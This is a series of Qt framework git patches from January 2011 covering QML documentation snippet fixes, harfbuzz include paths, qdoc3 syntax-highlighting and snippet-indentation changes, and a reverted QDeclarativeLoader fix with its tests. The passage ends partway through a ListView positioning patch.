    From d1c54182a317f29240a607de044c01e7e1dd0e8f Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Thu, 20 Jan 2011 17:27:33 +0100
    Subject: Doc: Fixed invalid QML snippets and marked up JavaScript correctly.
    
    ---
     src/declarative/graphicsitems/qdeclarativeitem.cpp | 97 ++++++++++++++--------
     1 file changed, 64 insertions(+), 33 deletions(-)
    
    diff --git a/src/declarative/graphicsitems/qdeclarativeitem.cpp b/src/declarative/graphicsitems/qdeclarativeitem.cpp
    index 24d9b03..2989b75 100644
    --- a/src/declarative/graphicsitems/qdeclarativeitem.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativeitem.cpp
    @@ -799,10 +799,18 @@ void QDeclarativeKeyNavigationAttached::keyReleased(QKeyEvent *event, bool post)
     
         This example forwards key events to two lists:
         \qml
    -    ListView { id: list1 ... }
    -    ListView { id: list2 ... }
    -    Keys.forwardTo: [list1, list2]
    -    focus: true
    +    Item {
    +        ListView {
    +            id: list1
    +            // ...
    +        }
    +        ListView {
    +            id: list2
    +            // ...
    +        }
    +        Keys.forwardTo: [list1, list2]
    +        focus: true
    +    }
         \endqml
     */
     
    @@ -1341,8 +1349,13 @@ QDeclarativeKeysAttached *QDeclarativeKeysAttached::qmlAttachedProperties(QObjec
         refer to the item. For example:
     
         \qml
    -    Text { id: myText; ... }
    -    Text { text: myText.text }
    +    Item {
    +        Text {
    +            id: myText
    +            // ...
    +        }
    +        Text { text: myText.text }
    +    }
         \endqml
     
         The identifier is available throughout to the \l {components}{component}
    @@ -2144,13 +2157,16 @@ QDeclarativeAnchorLine QDeclarativeItemPrivate::baseline() const
       \o \image declarative-anchors_example.png
       \o Text anchored to Image, horizontally centered and vertically below, with a margin.
       \qml
    -  Image { id: pic; ... }
    +  Image {
    +      id: pic
    +      // ...
    +  }
       Text {
           id: label
           anchors.horizontalCenter: pic.horizontalCenter
           anchors.top: pic.bottom
           anchors.topMargin: 5
    -      ...
    +      // ...
       }
       \endqml
       \row
    @@ -2160,12 +2176,15 @@ QDeclarativeAnchorLine QDeclarativeItemPrivate::baseline() const
       property of both defaults to 0.
     
       \qml
    -    Image { id: pic; ... }
    +    Image {
    +        id: pic
    +        // ...
    +    }
         Text {
             id: label
             anchors.left: pic.right
             anchors.leftMargin: 5
    -        ...
    +        // ...
         }
       \endqml
       \endtable
    @@ -2480,11 +2499,15 @@ QDeclarativeListProperty QDeclarativeItemPrivate::resources()
     
       \qml
       Item {
    -    states: [
    -      State { ... },
    -      State { ... }
    -      ...
    -    ]
    +      states: [
    +          State {
    +              // ...
    +          },
    +          State {
    +              // ...
    +          }
    +          // ...
    +      ]
       }
       \endqml
     
    @@ -2502,11 +2525,15 @@ QDeclarativeListProperty QDeclarativeItemPrivate::states()
     
       \qml
       Item {
    -    transitions: [
    -      Transition { ... },
    -      Transition { ... }
    -      ...
    -    ]
    +      transitions: [
    +          Transition {
    +              // ...
    +          },
    +          Transition {
    +              // ...
    +          }
    +          // ...
    +      ]
       }
       \endqml
     
    @@ -2531,11 +2558,15 @@ QDeclarativeListProperty QDeclarativeItemPrivate::transi
     
       \qml
       Item {
    -    filter: [
    -      Blur { ... },
    -      Reflection { ... }
    -      ...
    -    ]
    +      filter: [
    +          Blur {
    +              // ...
    +          },
    +          Reflection {
    +              // ...
    +          }
    +          // ...
    +      ]
       }
       \endqml
     */
    @@ -2570,14 +2601,14 @@ QDeclarativeListProperty QDeclarativeItemPrivate::transi
       This property is often used in scripts to change between states. For
       example:
     
    -  \qml
    -    function toggle() {
    -        if (button.state == 'On')
    -            button.state = 'Off';
    -        else
    -            button.state = 'On';
    -    }
    -  \endqml
    +  \js
    +  function toggle() {
    +      if (button.state == 'On')
    +          button.state = 'Off';
    +      else
    +          button.state = 'On';
    +  }
    +  \endjs
     
       If the item is in its base state (i.e. no explicit state has been
       set), \c state will be a blank string. Likewise, you can return an
    -- 
    cgit v0.12
    
    
    From de155ecd2b16d9356a19baeb875539a20b36a17c Mon Sep 17 00:00:00 2001
    From: Oswald Buddenhagen 
    Date: Thu, 20 Jan 2011 18:26:43 +0100
    Subject: Revert "don't include harfbuzz where we don't use it"
    
    harfbuzz is indirectly included via qharfbuzz_p.h, which is included by
    qtextengine_p.h, which in turn is included by qfontengine_p.h and
    qpaintbuffer_p.h.
    
    This reverts commit 6551a2933126cc86ac4c1e5265e967100d240fb0.
    ---
     src/declarative/declarative.pro             | 2 ++
     src/opengl/opengl.pro                       | 2 ++
     src/openvg/openvg.pro                       | 2 ++
     src/plugins/graphicssystems/trace/trace.pro | 1 +
     src/svg/svg.pro                             | 2 ++
     5 files changed, 9 insertions(+)
    
    diff --git a/src/declarative/declarative.pro b/src/declarative/declarative.pro
    index d2c035c..1ad888b 100644
    --- a/src/declarative/declarative.pro
    +++ b/src/declarative/declarative.pro
    @@ -30,3 +30,5 @@ symbian: {
     }
     
     DEFINES += QT_NO_OPENTYPE
    +INCLUDEPATH += ../3rdparty/harfbuzz/src
    +
    diff --git a/src/opengl/opengl.pro b/src/opengl/opengl.pro
    index 45cb750..0e82467 100644
    --- a/src/opengl/opengl.pro
    +++ b/src/opengl/opengl.pro
    @@ -156,3 +156,5 @@ symbian {
     
         symbian:TARGET.UID3 = 0x2002131A
     }
    +
    +INCLUDEPATH += ../3rdparty/harfbuzz/src
    diff --git a/src/openvg/openvg.pro b/src/openvg/openvg.pro
    index 619646f..c05af90 100644
    --- a/src/openvg/openvg.pro
    +++ b/src/openvg/openvg.pro
    @@ -60,3 +60,5 @@ contains(QT_CONFIG, openvg_on_opengl) {
         !isEmpty(QMAKE_LIBDIR_OPENGL): LIBS_PRIVATE += -L$$QMAKE_LIBDIR_OPENGL
         !isEmpty(QMAKE_LIBS_OPENGL): LIBS_PRIVATE += $$QMAKE_LIBS_OPENGL
     }
    +
    +INCLUDEPATH += ../3rdparty/harfbuzz/src
    diff --git a/src/plugins/graphicssystems/trace/trace.pro b/src/plugins/graphicssystems/trace/trace.pro
    index e57b015..07472e2 100644
    --- a/src/plugins/graphicssystems/trace/trace.pro
    +++ b/src/plugins/graphicssystems/trace/trace.pro
    @@ -10,3 +10,4 @@ SOURCES = main.cpp qgraphicssystem_trace.cpp
     
     target.path += $$[QT_INSTALL_PLUGINS]/graphicssystems
     INSTALLS += target
    +INCLUDEPATH += ../../../3rdparty/harfbuzz/src
    diff --git a/src/svg/svg.pro b/src/svg/svg.pro
    index 4cd8b8b..7b5251a 100644
    --- a/src/svg/svg.pro
    +++ b/src/svg/svg.pro
    @@ -38,6 +38,8 @@ SOURCES += \
             qgraphicssvgitem.cpp    \
             qsvggenerator.cpp
     
    +INCLUDEPATH += ../3rdparty/harfbuzz/src
    +
     symbian:TARGET.UID3=0x2001B2E2
     
     include(../3rdparty/zlib_dependency.pri)
    -- 
    cgit v0.12
    
    
    From e7e95bf64a4e513dd423acc38be615501ef76eac Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Thu, 20 Jan 2011 18:35:51 +0100
    Subject: Doc: Ensured that text in tables is not too large.
    
    ---
     doc/src/template/style/offline.css | 1 -
     1 file changed, 1 deletion(-)
    
    diff --git a/doc/src/template/style/offline.css b/doc/src/template/style/offline.css
    index 2aafe56..f5eb1c0 100644
    --- a/doc/src/template/style/offline.css
    +++ b/doc/src/template/style/offline.css
    @@ -111,7 +111,6 @@
             background-color: #F6F6F6;
             border: 1px solid #E6E6E6;
             border-collapse: separate;
    -        font-size: 110%;
             margin-bottom: 2.5em;
         }
         pre {
    -- 
    cgit v0.12
    
    
    From 92e0bfee7efb1505dbff6860f925445214fc7a54 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Thu, 20 Jan 2011 18:39:20 +0100
    Subject: Enabled syntax highlighting by default.
    
    Removed the linksinmarkup configuration option because it was not
    introduced in all relevant places.
    ---
     tools/qdoc3/codemarker.cpp    |  8 ++------
     tools/qdoc3/codemarker.h      |  2 --
     tools/qdoc3/config.h          |  1 -
     tools/qdoc3/htmlgenerator.cpp | 42 ++++++++++++++++++------------------------
     tools/qdoc3/htmlgenerator.h   |  1 -
     tools/qdoc3/main.cpp          |  1 -
     6 files changed, 20 insertions(+), 35 deletions(-)
    
    diff --git a/tools/qdoc3/codemarker.cpp b/tools/qdoc3/codemarker.cpp
    index 89933d3..9047b6e 100644
    --- a/tools/qdoc3/codemarker.cpp
    +++ b/tools/qdoc3/codemarker.cpp
    @@ -59,7 +59,6 @@ QList CodeMarker::markers;
       been read.
      */
     CodeMarker::CodeMarker()
    -    : linksInMarkup(false)
     {
         markers.prepend(this);
     }
    @@ -74,14 +73,11 @@ CodeMarker::~CodeMarker()
     }
     
     /*!
    -  The only thing a code market initializes is its \e{linksInMarkup}
    -  flag. The \e{linksInMarkup} flag indicates whether links are created for
    -  names that have corresponding entries in the API documentation.
    -  It is turned off by default. 
    +  A code market performs no initialization by default. Marker-specific
    +  initialization is performed in subclasses.
      */
     void CodeMarker::initializeMarker(const Config &config)
     {
    -    linksInMarkup = config.getBool(QLatin1String(CONFIG_LINKSINMARKUP));
     }
     
     /*!
    diff --git a/tools/qdoc3/codemarker.h b/tools/qdoc3/codemarker.h
    index 6c45581..ed44395 100644
    --- a/tools/qdoc3/codemarker.h
    +++ b/tools/qdoc3/codemarker.h
    @@ -184,8 +184,6 @@ class CodeMarker
      private:
         QString macName(const Node *parent, const QString &name = QString());
     
    -    bool linksInMarkup;
    -
         static QString defaultLang;
         static QList markers;
     };
    diff --git a/tools/qdoc3/config.h b/tools/qdoc3/config.h
    index 2dd7d50..54c7dab 100644
    --- a/tools/qdoc3/config.h
    +++ b/tools/qdoc3/config.h
    @@ -141,7 +141,6 @@ class Config
     #define CONFIG_IMAGES                   "images"
     #define CONFIG_INDEXES                  "indexes"
     #define CONFIG_LANGUAGE                 "language"
    -#define CONFIG_LINKSINMARKUP            "linksinmarkup"
     #define CONFIG_MACRO                    "macro"
     #define CONFIG_NATURALLANGUAGE          "naturallanguage"
     #define CONFIG_OBSOLETELINKS            "obsoletelinks"
    diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp
    index 4385dfd..10802b2 100644
    --- a/tools/qdoc3/htmlgenerator.cpp
    +++ b/tools/qdoc3/htmlgenerator.cpp
    @@ -219,7 +219,6 @@ HtmlGenerator::HtmlGenerator()
           threeColumnEnumValueTable(true),
           funcLeftParen("\\S(\\()"),
           myTree(0),
    -      syntaxHighlighting(false),
           obsoleteLinks(false)
     {
     }
    @@ -320,8 +319,6 @@ void HtmlGenerator::initializeGenerator(const Config &config)
             ++edition;
         }
     
    -    syntaxHighlighting = config.getBool(CONFIG_SYNTAXHIGHLIGHTING);
    -
         codeIndent = config.getInt(CONFIG_CODEINDENT);
     
         helpProjectWriter = new HelpProjectWriter(config,
    @@ -2790,31 +2787,28 @@ QString HtmlGenerator::highlightedCode(const QString& markedCode,
         }
     
     
    -    if (syntaxHighlighting) {
    -        // is this block ever used at all?
    -        // replace all <@func> tags: "(<@func target=\"([^\"]*)\">)(.*)()"
    -        src = html;
    -        html = QString();
    -        for (int i = 0, srcSize = src.size(); i < srcSize;) {
    -            if (src.at(i) == charLangle && src.at(i + 1) == charAt) {
    -                i += 2;
    -                if (parseArg(src, funcTag, &i, srcSize, &arg, &par1)) {
    -                    const Node* n = marker->resolveTarget(par1.toString(),
    -                                                          myTree,
    -                                                          relative);
    -                    QString link = linkForNode(n, relative);
    -                    addLink(link, arg, &html);
    -                    par1 = QStringRef();
    -                }
    -                else {
    -                    html += charLangle;
    -                    html += charAt;
    -                }
    +    // replace all <@func> tags: "(<@func target=\"([^\"]*)\">)(.*)()"
    +    src = html;
    +    html = QString();
    +    for (int i = 0, srcSize = src.size(); i < srcSize;) {
    +        if (src.at(i) == charLangle && src.at(i + 1) == charAt) {
    +            i += 2;
    +            if (parseArg(src, funcTag, &i, srcSize, &arg, &par1)) {
    +                const Node* n = marker->resolveTarget(par1.toString(),
    +                                                      myTree,
    +                                                      relative);
    +                QString link = linkForNode(n, relative);
    +                addLink(link, arg, &html);
    +                par1 = QStringRef();
                 }
                 else {
    -                html += src.at(i++);
    +                html += charLangle;
    +                html += charAt;
                 }
             }
    +        else {
    +            html += src.at(i++);
    +        }
         }
     
         // replace all "(<@(type|headerfile|func)(?: +[^>]*)?>)(.*)()" tags
    diff --git a/tools/qdoc3/htmlgenerator.h b/tools/qdoc3/htmlgenerator.h
    index 6701184..500780f 100644
    --- a/tools/qdoc3/htmlgenerator.h
    +++ b/tools/qdoc3/htmlgenerator.h
    @@ -279,7 +279,6 @@ class HtmlGenerator : public PageGenerator
         QStringList stylesheets;
         QStringList customHeadElements;
         const Tree *myTree;
    -    bool syntaxHighlighting;
         bool obsoleteLinks;
         QMap moduleClassMap;
         QMap moduleNamespaceMap;
    diff --git a/tools/qdoc3/main.cpp b/tools/qdoc3/main.cpp
    index 8193d2d..5b50a2a 100644
    --- a/tools/qdoc3/main.cpp
    +++ b/tools/qdoc3/main.cpp
    @@ -148,7 +148,6 @@ static void processQdocconfFile(const QString &fileName)
     	++i;
         }
         config.setStringList(CONFIG_SYNTAXHIGHLIGHTING, QStringList(slow ? "true" : "false"));
    -    config.setStringList(CONFIG_LINKSINMARKUP, QStringList(slow ? "true" : "false"));
         config.setStringList(CONFIG_SHOWINTERNAL,
                              QStringList(showInternal ? "true" : "false"));
         config.setStringList(CONFIG_OBSOLETELINKS,
    -- 
    cgit v0.12
    
    
    From 425a718facbb2b4a8f9919516b98257ef98c6182 Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Thu, 20 Jan 2011 18:40:52 +0100
    Subject: Allowed the indentation of marked up code to be customized.
    
    Marked up code is indented according to its indentation relative to
    the snippet markers (//! for example) in the quoted source code.
    ---
     tools/qdoc3/quoter.cpp | 20 ++++++++++++++------
     tools/qdoc3/quoter.h   |  5 +++--
     2 files changed, 17 insertions(+), 8 deletions(-)
    
    diff --git a/tools/qdoc3/quoter.cpp b/tools/qdoc3/quoter.cpp
    index 8e08e9a..b82b760 100644
    --- a/tools/qdoc3/quoter.cpp
    +++ b/tools/qdoc3/quoter.cpp
    @@ -221,10 +221,13 @@ QString Quoter::quoteSnippet(const Location &docLocation, const QString &identif
         QString comment = commentForCode();
         QString delimiter = comment + QString(" [%1]").arg(identifier);
         QString t;
    +    int indent = 0;
     
         while (!plainLines.isEmpty()) {
             if (match(docLocation, delimiter, plainLines.first())) {
    -            getLine();
    +            QString startLine = getLine();
    +            while (indent < startLine.length() && startLine[indent] == QLatin1Char(' '))
    +                indent++;
                 break;
             }
             getLine();
    @@ -232,7 +235,7 @@ QString Quoter::quoteSnippet(const Location &docLocation, const QString &identif
         while (!plainLines.isEmpty()) {
             QString line = plainLines.first();
             if (match(docLocation, delimiter, line)) {
    -            QString lastLine = getLine();
    +            QString lastLine = getLine(indent);
                 int dIndex = lastLine.indexOf(delimiter);
                 if (dIndex > 0) {
                     // The delimiter might be preceded on the line by other
    @@ -249,7 +252,7 @@ QString Quoter::quoteSnippet(const Location &docLocation, const QString &identif
                 return t;
             }
     
    -        t += removeSpecialLines(line, comment);
    +        t += removeSpecialLines(line, comment, indent);
         }
         failedAtEnd(docLocation, QString("snippet (%1)").arg(delimiter));
         return t;
    @@ -286,7 +289,7 @@ QString Quoter::quoteUntil( const Location& docLocation, const QString& command,
         return t;
     }
     
    -QString Quoter::getLine()
    +QString Quoter::getLine(int unindent)
     {
         if ( plainLines.isEmpty() )
             return QString();
    @@ -294,6 +297,11 @@ QString Quoter::getLine()
         plainLines.removeFirst();
     
         QString t = markedLines.takeFirst();
    +    int i = 0;
    +    while (i < unindent && i < t.length() && t[i] == QLatin1Char(' '))
    +        i++;
    +
    +    t = t.mid(i);
         t += QLatin1Char('\n');
         codeLocation.advanceLines( t.count( QLatin1Char('\n') ) );
         return t;
    @@ -342,7 +350,7 @@ QString Quoter::commentForCode() const
         return commentHash.value(suffix, "//!");
     }
     
    -QString Quoter::removeSpecialLines(const QString &line, const QString &comment)
    +QString Quoter::removeSpecialLines(const QString &line, const QString &comment, int unindent)
     {
         QString t;
     
    @@ -355,7 +363,7 @@ QString Quoter::removeSpecialLines(const QString &line, const QString &comment)
             t += QLatin1Char('\n');
         } else if (!trimmed.startsWith(comment)) {
             // Ordinary code
    -        t += getLine();
    +        t += getLine(unindent);
         } else {
             // Comments
             if (line.contains(QLatin1Char('\n')))
    diff --git a/tools/qdoc3/quoter.h b/tools/qdoc3/quoter.h
    index e1728d1..5ce38ef 100644
    --- a/tools/qdoc3/quoter.h
    +++ b/tools/qdoc3/quoter.h
    @@ -70,12 +70,13 @@ public:
         QString quoteSnippet(const Location &docLocation, const QString &identifier);
     
     private:
    -    QString getLine();
    +    QString getLine(int unindent = 0);
         void failedAtEnd( const Location& docLocation, const QString& command );
         bool match( const Location& docLocation, const QString& pattern,
         		const QString& line );
         QString commentForCode() const;
    -    QString removeSpecialLines(const QString &line, const QString &comment);
    +    QString removeSpecialLines(const QString &line, const QString &comment,
    +                               int unindent = 0);
     
         bool silent; 
         bool validRegExp;
    -- 
    cgit v0.12
    
    
    From 8c3086aa36b51a9731fce8eb8146b33ab8196aed Mon Sep 17 00:00:00 2001
    From: Bea Lam 
    Date: Fri, 21 Jan 2011 11:39:28 +1000
    Subject: Revert "Fix loaded() signal to be emitted only once"
    
    This reverts commit 82ff3f484c7ec49e60b7fddf23794937974a6768.
    
    QTBUG-16796 reports that this commit is causing regressions
    relating to initial sizing of items.
    
    Task-number: QTBUG-16796
    ---
     .../graphicsitems/qdeclarativeloader.cpp           | 60 +++++++-------
     .../graphicsitems/qdeclarativeloader_p_p.h         |  2 -
     .../qdeclarativeloader/tst_qdeclarativeloader.cpp  | 94 +++++++++-------------
     3 files changed, 67 insertions(+), 89 deletions(-)
    
    diff --git a/src/declarative/graphicsitems/qdeclarativeloader.cpp b/src/declarative/graphicsitems/qdeclarativeloader.cpp
    index 86e438f..ded2be3 100644
    --- a/src/declarative/graphicsitems/qdeclarativeloader.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativeloader.cpp
    @@ -48,7 +48,7 @@
     QT_BEGIN_NAMESPACE
     
     QDeclarativeLoaderPrivate::QDeclarativeLoaderPrivate()
    -    : item(0), component(0), ownComponent(false), isComponentComplete(false)
    +    : item(0), component(0), ownComponent(false)
     {
     }
     
    @@ -262,7 +262,6 @@ void QDeclarativeLoader::setSource(const QUrl &url)
         d->clear();
     
         d->source = url;
    -
         if (d->source.isEmpty()) {
             emit sourceChanged();
             emit statusChanged();
    @@ -273,9 +272,18 @@ void QDeclarativeLoader::setSource(const QUrl &url)
     
         d->component = new QDeclarativeComponent(qmlEngine(this), d->source, this);
         d->ownComponent = true;
    -
    -    if (d->isComponentComplete)
    -        d->load();
    +    if (!d->component->isLoading()) {
    +        d->_q_sourceLoaded();
    +    } else {
    +        connect(d->component, SIGNAL(statusChanged(QDeclarativeComponent::Status)),
    +                this, SLOT(_q_sourceLoaded()));
    +        connect(d->component, SIGNAL(progressChanged(qreal)),
    +                this, SIGNAL(progressChanged()));
    +        emit statusChanged();
    +        emit progressChanged();
    +        emit sourceChanged();
    +        emit itemChanged();
    +    }
     }
     
     /*!
    @@ -316,7 +324,6 @@ void QDeclarativeLoader::setSourceComponent(QDeclarativeComponent *comp)
     
         d->component = comp;
         d->ownComponent = false;
    -
         if (!d->component) {
             emit sourceChanged();
             emit statusChanged();
    @@ -325,8 +332,18 @@ void QDeclarativeLoader::setSourceComponent(QDeclarativeComponent *comp)
             return;
         }
     
    -    if (d->isComponentComplete)
    -        d->load();
    +    if (!d->component->isLoading()) {
    +        d->_q_sourceLoaded();
    +    } else {
    +        connect(d->component, SIGNAL(statusChanged(QDeclarativeComponent::Status)),
    +                this, SLOT(_q_sourceLoaded()));
    +        connect(d->component, SIGNAL(progressChanged(qreal)),
    +                this, SIGNAL(progressChanged()));
    +        emit progressChanged();
    +        emit sourceChanged();
    +        emit statusChanged();
    +        emit itemChanged();
    +    }
     }
     
     void QDeclarativeLoader::resetSourceComponent()
    @@ -334,27 +351,6 @@ void QDeclarativeLoader::resetSourceComponent()
         setSourceComponent(0);
     }
     
    -void QDeclarativeLoaderPrivate::load()
    -{
    -    Q_Q(QDeclarativeLoader);
    -
    -    if (!isComponentComplete || !component)
    -        return;
    -
    -    if (!component->isLoading()) {
    -        _q_sourceLoaded();
    -    } else {
    -        QObject::connect(component, SIGNAL(statusChanged(QDeclarativeComponent::Status)),
    -                q, SLOT(_q_sourceLoaded()));
    -        QObject::connect(component, SIGNAL(progressChanged(qreal)),
    -                q, SIGNAL(progressChanged()));
    -        emit q->statusChanged();
    -        emit q->progressChanged();
    -        emit q->sourceChanged();
    -        emit q->itemChanged();
    -    }
    -}
    -
     void QDeclarativeLoaderPrivate::_q_sourceLoaded()
     {
         Q_Q(QDeclarativeLoader);
    @@ -469,11 +465,9 @@ QDeclarativeLoader::Status QDeclarativeLoader::status() const
     
     void QDeclarativeLoader::componentComplete()
     {
    -    Q_D(QDeclarativeLoader);
    -
         QDeclarativeItem::componentComplete();
    -    d->isComponentComplete = true;
    -    d->load();
    +    if (status() == Ready)
    +        emit loaded();
     }
     
     
    diff --git a/src/declarative/graphicsitems/qdeclarativeloader_p_p.h b/src/declarative/graphicsitems/qdeclarativeloader_p_p.h
    index 81ca66d..45ab595 100644
    --- a/src/declarative/graphicsitems/qdeclarativeloader_p_p.h
    +++ b/src/declarative/graphicsitems/qdeclarativeloader_p_p.h
    @@ -72,13 +72,11 @@ public:
         void itemGeometryChanged(QDeclarativeItem *item, const QRectF &newGeometry, const QRectF &oldGeometry);
         void clear();
         void initResize();
    -    void load();
     
         QUrl source;
         QGraphicsObject *item;
         QDeclarativeComponent *component;
         bool ownComponent : 1;
    -    bool isComponentComplete : 1;
     
         void _q_sourceLoaded();
         void _q_updateSize(bool loaderGeometryChanged = true);
    diff --git a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
    index 358822e..bfa81ed 100644
    --- a/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
    +++ b/tests/auto/declarative/qdeclarativeloader/tst_qdeclarativeloader.cpp
    @@ -69,8 +69,9 @@ public:
         tst_QDeclarativeLoader();
     
     private slots:
    -    void sourceOrComponent();
    -    void sourceOrComponent_data();
    +    void url();
    +    void invalidUrl();
    +    void component();
         void clear();
         void urlToComponent();
         void componentToUrl();
    @@ -99,71 +100,56 @@ tst_QDeclarativeLoader::tst_QDeclarativeLoader()
     {
     }
     
    -void tst_QDeclarativeLoader::sourceOrComponent()
    +void tst_QDeclarativeLoader::url()
     {
    -    QFETCH(QString, sourceDefinition);
    -    QFETCH(QUrl, sourceUrl);
    -    QFETCH(QString, errorString);
    -
    -    bool error = !errorString.isEmpty();
    -    if (error)
    -        QTest::ignoreMessage(QtWarningMsg, errorString.toUtf8().constData());
    -
         QDeclarativeComponent component(&engine);
    -    component.setData(QByteArray(
    -            "import QtQuick 1.0\n"
    -            "Loader {\n"
    -            "   property int onItemChangedCount: 0\n"
    -            "   property int onSourceChangedCount: 0\n"
    -            "   property int onStatusChangedCount: 0\n"
    -            "   property int onProgressChangedCount: 0\n"
    -            "   property int onLoadedCount: 0\n")
    -            + sourceDefinition.toUtf8()
    -            + QByteArray(
    -            "   onItemChanged: onItemChangedCount += 1\n"
    -            "   onSourceChanged: onSourceChangedCount += 1\n"
    -            "   onStatusChanged: onStatusChangedCount += 1\n"
    -            "   onProgressChanged: onProgressChangedCount += 1\n"
    -            "   onLoaded: onLoadedCount += 1\n"
    -            "}")
    -        , TEST_FILE(""));
    -
    +    component.setData(QByteArray("import QtQuick 1.0\nLoader { property int did_load: 0; onLoaded: did_load=123; source: \"Rect120x60.qml\" }"), TEST_FILE(""));
         QDeclarativeLoader *loader = qobject_cast(component.create());
         QVERIFY(loader != 0);
    -    QCOMPARE(loader->item() == 0, error);
    -    QCOMPARE(loader->source(), sourceUrl);
    +    QVERIFY(loader->item());
    +    QVERIFY(loader->source() == QUrl::fromLocalFile(SRCDIR "/data/Rect120x60.qml"));
         QCOMPARE(loader->progress(), 1.0);
    +    QCOMPARE(loader->status(), QDeclarativeLoader::Ready);
    +    QCOMPARE(loader->property("did_load").toInt(), 123);
    +    QCOMPARE(static_cast(loader)->children().count(), 1);
     
    -    QCOMPARE(loader->status(), error ? QDeclarativeLoader::Error : QDeclarativeLoader::Ready);
    -    QCOMPARE(static_cast(loader)->children().count(), error ? 0: 1);
    +    delete loader;
    +}
     
    -    if (!error) {
    -        QDeclarativeComponent *c = qobject_cast(loader->QGraphicsObject::children().at(0));
    -        QVERIFY(c);
    -        QCOMPARE(loader->sourceComponent(), c);
    -    }
    +void tst_QDeclarativeLoader::component()
    +{
    +    QDeclarativeComponent component(&engine, TEST_FILE("/SetSourceComponent.qml"));
    +    QDeclarativeItem *item = qobject_cast(component.create());
    +    QVERIFY(item);
     
    -    QCOMPARE(loader->property("onSourceChangedCount").toInt(), 1);
    -    QCOMPARE(loader->property("onStatusChangedCount").toInt(), 1);
    -    QCOMPARE(loader->property("onProgressChangedCount").toInt(), 1);
    +    QDeclarativeLoader *loader = qobject_cast(item->QGraphicsObject::children().at(1)); 
    +    QVERIFY(loader);
    +    QVERIFY(loader->item());
    +    QCOMPARE(loader->progress(), 1.0);
    +    QCOMPARE(loader->status(), QDeclarativeLoader::Ready);
    +    QCOMPARE(static_cast(loader)->children().count(), 1);
     
    -    QCOMPARE(loader->property("onItemChangedCount").toInt(), error ? 0 : 1);
    -    QCOMPARE(loader->property("onLoadedCount").toInt(), error ? 0 : 1);
    +    QDeclarativeComponent *c = qobject_cast(item->QGraphicsObject::children().at(0));
    +    QVERIFY(c);
    +    QCOMPARE(loader->sourceComponent(), c);
     
    -    delete loader;
    +    delete item;
     }
     
    -void tst_QDeclarativeLoader::sourceOrComponent_data()
    +void tst_QDeclarativeLoader::invalidUrl()
     {
    -    QTest::addColumn("sourceDefinition");
    -    QTest::addColumn("sourceUrl");
    -    QTest::addColumn("errorString");
    +    QTest::ignoreMessage(QtWarningMsg, QString(QUrl::fromLocalFile(SRCDIR "/data/IDontExist.qml").toString() + ": File not found").toUtf8().constData());
     
    -    QTest::newRow("source") << "source: 'Rect120x60.qml'\n" << QUrl::fromLocalFile(SRCDIR "/data/Rect120x60.qml") << "";
    -    QTest::newRow("sourceComponent") << "Component { id: comp; Rectangle { width: 100; height: 50 } }\n sourceComponent: comp\n" << QUrl() << "";
    +    QDeclarativeComponent component(&engine);
    +    component.setData(QByteArray("import QtQuick 1.0\nLoader { source: \"IDontExist.qml\" }"), TEST_FILE(""));
    +    QDeclarativeLoader *loader = qobject_cast(component.create());
    +    QVERIFY(loader != 0);
    +    QVERIFY(loader->item() == 0);
    +    QCOMPARE(loader->progress(), 1.0);
    +    QCOMPARE(loader->status(), QDeclarativeLoader::Error);
    +    QCOMPARE(static_cast(loader)->children().count(), 0);
     
    -    QTest::newRow("invalid source") << "source: 'IDontExist.qml'\n" << QUrl::fromLocalFile(SRCDIR "/data/IDontExist.qml")
    -            << QString(QUrl::fromLocalFile(SRCDIR "/data/IDontExist.qml").toString() + ": File not found");
    +    delete loader;
     }
     
     void tst_QDeclarativeLoader::clear()
    @@ -460,7 +446,7 @@ void tst_QDeclarativeLoader::networkRequestUrl()
         server.serveDirectory(SRCDIR "/data");
     
         QDeclarativeComponent component(&engine);
    -    component.setData(QByteArray("import QtQuick 1.0\nLoader { property int signalCount : 0; source: \"http://127.0.0.1:14450/Rect120x60.qml\"; onLoaded: signalCount += 1 }"), QUrl::fromLocalFile(SRCDIR "/dummy.qml"));
    +    component.setData(QByteArray("import QtQuick 1.0\nLoader { property int did_load : 0; source: \"http://127.0.0.1:14450/Rect120x60.qml\"; onLoaded: did_load=123 }"), QUrl::fromLocalFile(SRCDIR "/dummy.qml"));
         if (component.isError())
             qDebug() << component.errors();
         QDeclarativeLoader *loader = qobject_cast(component.create());
    @@ -470,7 +456,7 @@ void tst_QDeclarativeLoader::networkRequestUrl()
     
         QVERIFY(loader->item());
         QCOMPARE(loader->progress(), 1.0);
    -    QCOMPARE(loader->property("signalCount").toInt(), 1);
    +    QCOMPARE(loader->property("did_load").toInt(), 123);
         QCOMPARE(static_cast(loader)->children().count(), 1);
     
         delete loader;
    -- 
    cgit v0.12
    
    
    From c3dd455b03a6c03011e2446f69fc262230e91639 Mon Sep 17 00:00:00 2001
    From: Martin Jones 
    Date: Fri, 21 Jan 2011 15:03:35 +1000
    Subject: positionViewAtIndex can fail when positioned near end of list.
    
    We positioned the view beyond the bounds, which in some cases resulted
    in only one item being created.  Combined with a bug in the bounds
    fixup very many items were created.
    
    Task-number: QT-4441
    Reviewed-by: Michael Brasser
    ---
     src/declarative/graphicsitems/qdeclarativeflickable.cpp     |  2 +-
     src/declarative/graphicsitems/qdeclarativegridview.cpp      |  4 ++--
     src/declarative/graphicsitems/qdeclarativelistview.cpp      |  4 ++--
     .../qdeclarativelistview/tst_qdeclarativelistview.cpp       | 13 +++++++++++++
     4 files changed, 18 insertions(+), 5 deletions(-)
    
    diff --git a/src/declarative/graphicsitems/qdeclarativeflickable.cpp b/src/declarative/graphicsitems/qdeclarativeflickable.cpp
    index 4aaec38..dc7536e 100644
    --- a/src/declarative/graphicsitems/qdeclarativeflickable.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativeflickable.cpp
    @@ -299,7 +299,7 @@ void QDeclarativeFlickablePrivate::fixup(AxisData &data, qreal minExtent, qreal
                 timeline.move(data.move, maxExtent - dist/2, QEasingCurve(QEasingCurve::InQuad), fixupDuration/4);
